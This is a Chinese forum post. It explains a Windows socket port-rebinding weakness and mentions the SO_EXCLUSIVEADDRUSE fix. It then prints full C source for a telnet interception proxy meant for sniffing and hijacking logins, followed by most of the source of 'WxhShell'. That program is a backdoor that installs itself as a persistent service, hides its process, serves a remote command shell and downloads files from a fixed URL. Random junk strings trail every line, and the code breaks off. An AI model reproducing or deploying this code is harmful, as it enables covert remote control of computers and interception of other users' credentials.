社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15130阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c s:E^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q!Z{qt*`um  
_b * gg  
  saddr.sin_family = AF_INET; L/5th}m  
Ty3.u9c4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1.Neg|  
{Wr5F9q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7$*x&We  
rf!i?vAe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wX <ov0?[  
@Q!Tvw/  
  这意味着什么?意味着可以进行如下的攻击: 3 [O+wVv  
f/m0,EERk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uw@-.N^  
r*FAUb`bG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \(zUI  
^^YP kh6sS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QVl"l'e8  
_!?a9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o,$K=#Iv  
(SA^> r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sy6[%8D$  
ajf(Ii\/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pv*]AF;9pQ  
z 1.vnGP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "DX 2Mu=  
/38XaKc{6  
  #include  Qr-,J_  
  #include crgVedx~}  
  #include UH((d*HX4  
  #include    {GGP8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q4g69IE  
  int main() Y+0GJuBf  
  { hANe$10=H  
  WORD wVersionRequested; FU)=+m  
  DWORD ret; :8]y*j  
  WSADATA wsaData; I(z16wQ  
  BOOL val; zkd^5A; `  
  SOCKADDR_IN saddr; =yPV9#(I/  
  SOCKADDR_IN scaddr; :edy(vC<  
  int err; \9}DAM_  
  SOCKET s; Sh:_YD^(  
  SOCKET sc; L}K8cB  
  int caddsize; sdN1BV2  
  HANDLE mt; &&zsUAkS  
  DWORD tid;   ,=: -&~?  
  wVersionRequested = MAKEWORD( 2, 2 ); HY(XI u  
  err = WSAStartup( wVersionRequested, &wsaData ); ROO@EQ#`Z  
  if ( err != 0 ) { E+$D$a  
  printf("error!WSAStartup failed!\n"); <2N=cH'  
  return -1; u $D%Iz  
  } [7,q@>:CS  
  saddr.sin_family = AF_INET; m@",Zr `f=  
   HzsQ`M4cA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gIKQip<  
7s Gf_`Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P]2V~I/X  
  saddr.sin_port = htons(23); c/l^;6O/!\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \4O_@d`A  
  { C>QWV[F  
  printf("error!socket failed!\n"); Tz&h[+6`  
  return -1; v]}\Ns/  
  } {=;<1PykLb  
  val = TRUE; 4v9d& m!<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s|k&@jH)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :*YnH&  
  { n(sseQ|\  
  printf("error!setsockopt failed!\n"); \Qf2:[-V0  
  return -1; 1I40N[PE)  
  } ~"8r=8|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X,}(MW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q!r` G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9|m:2["|?  
jVqpokWH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /<"ok;Pu7  
  { K{ntl-D&y  
  ret=GetLastError(); wEQZ9?\  
  printf("error!bind failed!\n"); msQ?V&+<  
  return -1; LG??Q+`l  
  } xl@~K^c]  
  listen(s,2); bL5u;iy)  
  while(1) dk0} q6~  
  { {vQ:4O!:  
  caddsize = sizeof(scaddr); vx}BT H  
  //接受连接请求 >Sb3]$$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }hcY5E-n  
  if(sc!=INVALID_SOCKET) o4agaA3k  
  { `A-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vhDtjf/*  
  if(mt==NULL) M(n@ytz  
  { u-QHV1H`(  
  printf("Thread Creat Failed!\n"); 6MLjU1  
  break; ( k_9<Yb3  
  } $oPc,zS-gL  
  } ,wngS=  
  CloseHandle(mt); hoLA*v2<  
  } e\!Aoky  
  closesocket(s); :#D~j]pP  
  WSACleanup(); bCiyz+VyJn  
  return 0; *;U<b  
  }   4[)tO-v:Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) 69`*u<{PC  
  { )"7z'ar  
  SOCKET ss = (SOCKET)lpParam; Z*=$n_ G  
  SOCKET sc; l(\F2_,2W  
  unsigned char buf[4096]; KN>h*eze  
  SOCKADDR_IN saddr; _hMFmI=r[  
  long num; +=sw&DH  
  DWORD val; I+31:#d  
  DWORD ret; 7m}fVLk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "]OROJGa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,sT5TS q  
  saddr.sin_family = AF_INET; Y~?Z'uR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nj1PR`AE  
  saddr.sin_port = htons(23); unKgOvtj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UD9JE S,  
  { @Gy.p5J8  
  printf("error!socket failed!\n"); - FJLM  
  return -1; 9SJSUv:@  
  } rK|("  
  val = 100; /!qP=ngw9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3[8p,wx  
  { }(,{^".[}  
  ret = GetLastError(); h\Q@zR*0a  
  return -1; 0& ?L%Y  
  } M27H{} v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {WQ6=wGpS  
  { vKfjP_0$  
  ret = GetLastError(); NK'@.=$  
  return -1; -!K&\hEjj  
  } k|{ 4"4r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %jHe_8=o  
  { 1U?5/Ja  
  printf("error!socket connect failed!\n"); H!>>|6OPF  
  closesocket(sc); #Tt*NU  
  closesocket(ss); uBxoMxWm  
  return -1; O%haaL\  
  } &gUa^5'#  
  while(1) mkrVeBp  
  { 7 p1B"%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z7+>G/o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0Ue~dVrM(?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N Hn #c3o  
  num = recv(ss,buf,4096,0); \jmZ t*c  
  if(num>0) eN\+  
  send(sc,buf,num,0); L\t_zf_0  
  else if(num==0) K}2G4*8S_G  
  break; ;cZp$ xb3  
  num = recv(sc,buf,4096,0); cBv"d ~  
  if(num>0) ) .KMZ]  
  send(ss,buf,num,0); `zB bB^\`W  
  else if(num==0) rm-;Z<  
  break; ).A9>^6?{  
  } X *:,|  
  closesocket(ss); E0yx @Vx  
  closesocket(sc); i0J`{PbI  
  return 0 ; %wI)uJ2  
  } sZEa8  
S _ UAz  
dZI["FeO&d  
========================================================== 67 ~pn  
>#Xz~xI/I  
下边附上一个代码,,WXhSHELL c?REDj2  
uGm?e]7Hx<  
========================================================== FFN Sn  
[;4;. V  
#include "stdafx.h" g-1j#V`5  
X$6QQnyR  
#include <stdio.h> [J(b"c6  
#include <string.h> cbs ;  
#include <windows.h> H8=:LF  
#include <winsock2.h> !l Egta[Ql  
#include <winsvc.h> /lh1sHgD  
#include <urlmon.h> WtaOf_  
nh"dPE7^  
#pragma comment (lib, "Ws2_32.lib") E.+%b;Eqe  
#pragma comment (lib, "urlmon.lib") 9NNXj^7  
O .-n&U9  
#define MAX_USER   100 // 最大客户端连接数 $EEn]y  
#define BUF_SOCK   200 // sock buffer WuFBt=%  
#define KEY_BUFF   255 // 输入 buffer TdT`V f  
5jUy[w @  
#define REBOOT     0   // 重启 D$*o}*mb  
#define SHUTDOWN   1   // 关机 Yl:[b{Py  
WglpWp)  
#define DEF_PORT   5000 // 监听端口 &%;n 9K  
M)nh~gU  
#define REG_LEN     16   // 注册表键长度 iz{TSU  
#define SVC_LEN     80   // NT服务名长度 e9tb]sAG  
u6Wan*I?  
// 从dll定义API Y_EEnx&>i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +!!G0Zj/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  K+XUC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %>6ilG Q+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e-[PuJ  
&I(\:|`o  
// wxhshell配置信息 qxsHhyB_n;  
struct WSCFG { SM2N3"\  
  int ws_port;         // 监听端口 r4DHALu#)  
  char ws_passstr[REG_LEN]; // 口令 ewHs ]V+U  
  int ws_autoins;       // 安装标记, 1=yes 0=no !n P4S)A  
  char ws_regname[REG_LEN]; // 注册表键名 Q\T?t  
  char ws_svcname[REG_LEN]; // 服务名 ^8J`*R8CL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6EO@ Xf7,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0:<Y@#L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  S~E@A.7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :K"~PrHm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s{8=Q0^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G--(Ef%v'  
:FfEjNil  
}; f}p`<z   
4d}=g]P  
// default Wxhshell configuration /f Q}Ls\  
struct WSCFG wscfg={DEF_PORT, &q9=0So4\  
    "xuhuanlingzhe", +^&i(7a[?  
    1, R5%CK_  
    "Wxhshell", [#RFdn<  
    "Wxhshell", x[&<e<6  
            "WxhShell Service", iyd$_CJz  
    "Wrsky Windows CmdShell Service", N)AlQ'Lwx  
    "Please Input Your Password: ", VZ =:`)  
  1, 1q3"qY H  
  "http://www.wrsky.com/wxhshell.exe", G2?#MO  
  "Wxhshell.exe" gmgri   
    }; XWQ `]m)  
tHHJ|4C  
// 消息定义模块 R! On  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EP>Lh7E9n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ('UTjV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0t}v@-abU  
char *msg_ws_ext="\n\rExit."; <\O8D0.d  
char *msg_ws_end="\n\rQuit."; $eG_LY 1v  
char *msg_ws_boot="\n\rReboot..."; W5= j&&|!  
char *msg_ws_poff="\n\rShutdown..."; EhM=wfGKw  
char *msg_ws_down="\n\rSave to "; UnP<`z#  
(GC5r#AnS  
char *msg_ws_err="\n\rErr!"; ]'M B3@T  
char *msg_ws_ok="\n\rOK!"; UcOP 0_/  
+,AzxP _y  
char ExeFile[MAX_PATH]; 8ih_S2Cd  
int nUser = 0; D7JrGaF{  
HANDLE handles[MAX_USER]; :KA)4[#;W  
int OsIsNt; ) \TH'  
h6^|f%\w*i  
SERVICE_STATUS       serviceStatus; sgGA0af  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a0gg<Ml  
V,0$mBYa  
// 函数声明 Wf"GA i  
int Install(void); OKK Ko`RN  
int Uninstall(void); D4|Ajeo;1  
int DownloadFile(char *sURL, SOCKET wsh); /4 OmnE;  
int Boot(int flag); r@qLG"[\c  
void HideProc(void); 9_iwikD  
int GetOsVer(void); PnInsf%;  
int Wxhshell(SOCKET wsl); q5=,\S3=  
void TalkWithClient(void *cs); =~Qg(=U0U  
int CmdShell(SOCKET sock); zrG  
int StartFromService(void); JGTsVa2  
int StartWxhshell(LPSTR lpCmdLine); SA&(%f1d  
US(RWXyg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_zo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8.N`^Nj 1  
_ahp7-O  
// 数据结构和表定义 $p4e8j[EJ  
SERVICE_TABLE_ENTRY DispatchTable[] = G9LWnyQt  
{ 6kLy!QS  
{wscfg.ws_svcname, NTServiceMain}, /j}Tv.'d  
{NULL, NULL} *AQ3RA8  
}; : [328X2  
@6tczU}ak  
// 自我安装 ;-@: }/  
int Install(void) 6SH0 y  
{ 5QuRwu_  
  char svExeFile[MAX_PATH]; f$kbb 6juL  
  HKEY key; G?=&\fg_:  
  strcpy(svExeFile,ExeFile); jll:Rh(b  
zhd1)lgY  
// 如果是win9x系统,修改注册表设为自启动 3*2~#dh=  
if(!OsIsNt) { '@ Y@Fs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9T5 F0?qd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ZSX84~@u  
  RegCloseKey(key); KCw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jX8)Ov5Mv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0m4M@94  
  RegCloseKey(key); {d;z3AB  
  return 0; IF|;;*Z8  
    } 3en6 7l  
  } l5Ko9CG  
} d~%7A5  
else { y*{zX=]l<  
gN:F50   
// 如果是NT以上系统,安装为系统服务 T1.U (::  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WPNw")t!  
if (schSCManager!=0) SJa>!]U'xI  
{ P-gjSE|yh  
  SC_HANDLE schService = CreateService R2a99#J  
  ( 2p\xgAW?  
  schSCManager, wn!=G~nB  
  wscfg.ws_svcname, 2&n6:"u|  
  wscfg.ws_svcdisp, EJTM >Rpor  
  SERVICE_ALL_ACCESS, nb=mY&q}~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6)*fr'P  
  SERVICE_AUTO_START, .!0Rh9yyl  
  SERVICE_ERROR_NORMAL, k)*apc\W  
  svExeFile, =Q<7[  
  NULL, kBcTXl  
  NULL, ]bh%pn  
  NULL, cl `Wl/Q#  
  NULL, i]? Eq?k  
  NULL 5;" $X 1{  
  ); v+in:\Dv  
  if (schService!=0) WA43}CyAe  
  { 7:pc%Ksq  
  CloseServiceHandle(schService); (1^;l;7H  
  CloseServiceHandle(schSCManager); 6Yodx$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4jTO:aPh_  
  strcat(svExeFile,wscfg.ws_svcname); y-nv#Ejr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SF+L-R<e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q~Mkf&s  
  RegCloseKey(key); [O&}Qk  
  return 0; 2p](`Y`  
    } 0m*b9+q  
  } p{LbTjdNc  
  CloseServiceHandle(schSCManager); n:/!{.  
} NWFh<  
} %E&oe $[B  
v/rBjUc+X  
return 1; xcWR#z{z  
} lqmQQ*Z  
e( @< /W  
// 自我卸载 >\<eR]12  
int Uninstall(void) Y` ]P&y  
{ '#3FEo  
  HKEY key; Os$E,4,py  
upaP,ik}~  
if(!OsIsNt) { V.*M;T\i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *1kFy_Gx  
  RegDeleteValue(key,wscfg.ws_regname); iY07lvG<  
  RegCloseKey(key); Qw2-Vv4!"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jGz~}&B  
  RegDeleteValue(key,wscfg.ws_regname); .G\](%  
  RegCloseKey(key); w ods   
  return 0; $RY-yKmi  
  } u_' -vZ_  
} t*H2;|zn_  
} ;6pB7N  
else { ):>?N`{V  
"Ux(nt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i@?|vu  
if (schSCManager!=0) 6}I X{nQI  
{ EniV-Uj\D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d;l%XZe  
  if (schService!=0) sGhw23  
  { !nkIXgWz  
  if(DeleteService(schService)!=0) { J(d+EjC  
  CloseServiceHandle(schService); ^;a .;wR  
  CloseServiceHandle(schSCManager); hDB(y4/  
  return 0; 3WQa^'u  
  } uGC5XX^  
  CloseServiceHandle(schService); %\48hSe  
  } TCRTC0_}k  
  CloseServiceHandle(schSCManager); V;MmPNP|  
} WJONk_WAc  
} Bh=t%#y|`  
B <r0y  
return 1; 5U7,,oyh  
} :stHc,  
.W~XX  
// 从指定url下载文件 K |=o-  
int DownloadFile(char *sURL, SOCKET wsh) z*jaA;#  
{ ;y\/7E  
  HRESULT hr; ) u{ ]rb[  
char seps[]= "/"; |=YK2};  
char *token; vi^YtA  
char *file; _";w*lg}  
char myURL[MAX_PATH]; rrRv 7J&Q  
char myFILE[MAX_PATH]; 5?`4qSUz  
: pUu_  
strcpy(myURL,sURL); .tG3g:  
  token=strtok(myURL,seps); ,hI$nF0}p  
  while(token!=NULL) vFdI?(c-  
  { Gn^lF7yE  
    file=token; @br)m](@  
  token=strtok(NULL,seps); vb>F)po1}  
  } < r~hU*u  
GNv{ Ij<  
GetCurrentDirectory(MAX_PATH,myFILE); lBFKfLp&  
strcat(myFILE, "\\"); v.8kGF  
strcat(myFILE, file); n4dNGp7\`  
  send(wsh,myFILE,strlen(myFILE),0); H}~K51  
send(wsh,"...",3,0); *Oy* \cX2[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0;><@{'  
  if(hr==S_OK) Za!KM  
return 0; `mteU"{bx  
else 3>7{Q_5  
return 1; auAz>6L  
k;cX,*DIn  
} 2#5Q~  
)cizd^{  
// 系统电源模块 +d=f_@i  
int Boot(int flag) ,5W u  
{ Xn=yC Pi  
  HANDLE hToken; kB CU+FC  
  TOKEN_PRIVILEGES tkp; - JEPh!oTt  
s(fkb7W,gO  
  if(OsIsNt) { T.I'c6|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O@@nGSc@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sz270k%[  
    tkp.PrivilegeCount = 1; U=KUx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PUO7Z2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S>T ;`,  
if(flag==REBOOT) { +|dL R*s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ 2Hw\fx  
  return 0; HN367j2e  
} Ln&~t(7  
else { Z+U -+eG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s) s9Z,HY  
  return 0; uVD^X*  
} qB_s<cpn>  
  } ~ i+XVo  
  else { f9#srIx+  
if(flag==REBOOT) { {'+{ASpO!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `+< ^Svou  
  return 0; >2>/ q?  
} {,Vvm*L/  
else {  q%d'pF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?m~1b_@A{  
  return 0; 9>- 6Y  
}  YMv}]  
} g$e|y#Ic$  
Cx~;oWZ  
return 1; Mn&_R{{=  
} \Db`RvEmR  
3S_H&>K  
// win9x进程隐藏模块 AlDp+"|  
void HideProc(void) +|g*<0T5<  
{ rQT%~oM:  
LYYz=oZOE!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0U% tjYk(  
  if ( hKernel != NULL ) &8i$`6wY  
  { Y5CkCF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \8ZVI98  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A/a=)s u  
    FreeLibrary(hKernel); CB>W# P%  
  } BJ3<"D{.*4  
O, eoO,gB  
return; )b]!IP3  
} ENqZ=Lyq  
%pxJ27Q  
// 获取操作系统版本 Z>g&%3j  
int GetOsVer(void) iTdamu`L  
{ kw z6SObQ  
  OSVERSIONINFO winfo; `,~'T [  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \(Nx)F  
  GetVersionEx(&winfo); A405igF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  #9}1Lo>  
  return 1; z0\ $# r^I  
  else tQNc+>7k+u  
  return 0; 9C?SEbC  
} b 4^O=  
|;|r[aU  
// 客户端句柄模块 :Wx7a1.Jz  
int Wxhshell(SOCKET wsl) gzhIOeY  
{ c ZYvP  
  SOCKET wsh; *%jtcno=Y  
  struct sockaddr_in client; XgVhb<l_  
  DWORD myID; ehB '@_y  
6FUcg40Y  
  while(nUser<MAX_USER) .'66]QW  
{ I__b$  
  int nSize=sizeof(client); TT(R<hL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PJm@fK(j  
  if(wsh==INVALID_SOCKET) return 1; a,4GE'  
Zp[>[1@+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ii}{{1N6  
if(handles[nUser]==0) WPr:d  
  closesocket(wsh); sbVEA  
else C=Fu1Hpb  
  nUser++; *wx%jbJo  
  } Sx~mc_ekY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hunlKIg  
W.{+0xx  
  return 0; H~#$AD+H  
} U9PI#TX &O  
uAnL`  
// 关闭 socket W!" $g  
void CloseIt(SOCKET wsh) v~AshmP  
{ ;,]4A{|  
closesocket(wsh); k9H}nP$F  
nUser--; rIB./,  
ExitThread(0); X7K{P_5l  
} ktfxb <%  
J3oUtu  
// 客户端请求句柄 Ux^ue9  
void TalkWithClient(void *cs) {I0!q"sF  
{ &x*l{s[  
J80&npsO  
  SOCKET wsh=(SOCKET)cs; #+Bz$CO  
  char pwd[SVC_LEN]; }+`,AC`RM  
  char cmd[KEY_BUFF]; Q: -&  
char chr[1]; njJTEUd">  
int i,j; 7Cz=;  
d^~yUk  
  while (nUser < MAX_USER) { Rq2bj_j  
R86i2',  
if(wscfg.ws_passstr) { nt&% sM-X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `%Kj+^|DS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5G2ueRVb  
  //ZeroMemory(pwd,KEY_BUFF); < <0[PJ  
      i=0; >\'}&oi  
  while(i<SVC_LEN) { {%('|(57  
8f~*T  
  // 设置超时 !W&|kvT^  
  fd_set FdRead; U74L:&y LI  
  struct timeval TimeOut; =C(BZ+-^  
  FD_ZERO(&FdRead); ]YZ_kc^(V;  
  FD_SET(wsh,&FdRead); F&7Z(  
  TimeOut.tv_sec=8; vnbY^ASdw  
  TimeOut.tv_usec=0; t6e6v=.Pg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y/m-EL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rcLF:gd] E  
+DefV,Ny  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $u,A/7\s  
  pwd=chr[0]; B&KIM{j\  
  if(chr[0]==0xd || chr[0]==0xa) { BUi,+NdIk  
  pwd=0; Cv>~%<   
  break; h0 %M+g  
  } #NMQN*J>D  
  i++; }YC=q  
    } w0yzC0yBk  
Xe`$SNM  
  // 如果是非法用户,关闭 socket I%[Tosud<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K4|fmgcy.  
} ebL0cK?  
75P!`9bE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -; d{}F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7?_g m>]a  
k&K'FaM!  
while(1) { {<Y!'WL{  
r4 5}o  
  ZeroMemory(cmd,KEY_BUFF); !p36OEx  
h;(mb2[R  
      // 自动支持客户端 telnet标准   lt5Knz2G,Z  
  j=0; $mq+/|bn  
  while(j<KEY_BUFF) { MfI+o<{r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .VmRk9Z  
  cmd[j]=chr[0]; *fyaAv  
  if(chr[0]==0xa || chr[0]==0xd) { ,5~C($-t  
  cmd[j]=0; 9w0v?%%_  
  break; &'i.W}Ib!  
  } 3WGOftLzt  
  j++; f@Ve,i  
    } gm:Y@6W  
u  XZ;K.  
  // 下载文件 8 f~M6  
  if(strstr(cmd,"http://")) { :c}PW"0v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h6`VU`pPI  
  if(DownloadFile(cmd,wsh)) \Yv4 4*I`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); md9JvbB  
  else 4/SltWU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E.*wNah"U  
  } V^ ;l g[:  
  else { W8]?dL}|  
Qe9}%k6@E  
    switch(cmd[0]) { 7<8'7<X  
  j\B taC  
  // 帮助 $`C$|9S  
  case '?': { Hp(41Eb,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :q2RgZE  
    break; 5Ktll~+:#  
  } - ikq#L){  
  // 安装 m+pK,D~{"  
  case 'i': { WdJeh:h  
    if(Install()) ?WS.RBe2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0!axAvBV  
    else n:<Xp[;R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ay{]Vqi9  
    break; *`bES V :  
    } 6l"4F6  
  // 卸载 OMjx,@9  
  case 'r': { Z#;\Rb.x7  
    if(Uninstall()) hn&NypI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Dh{#"88  
    else 1iM(13jW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !D 'A  
    break; S->Sp  
    } 5VN~?#K  
  // 显示 wxhshell 所在路径 NfCo)C-t  
  case 'p': { ypA 9WF  
    char svExeFile[MAX_PATH]; WUx2CK2N  
    strcpy(svExeFile,"\n\r"); yaI jXv  
      strcat(svExeFile,ExeFile); h9. Yux  
        send(wsh,svExeFile,strlen(svExeFile),0); q}"HxMJ  
    break; $nf %<Q  
    } BMU#pK;P]  
  // 重启 m Le 70U  
  case 'b': { jlD3SF~2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r)G)i;;~*  
    if(Boot(REBOOT)) gi? wf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Y+[_D}  
    else { [Fd[(  
    closesocket(wsh); *unJd"<*&@  
    ExitThread(0); ZmaW]3$  
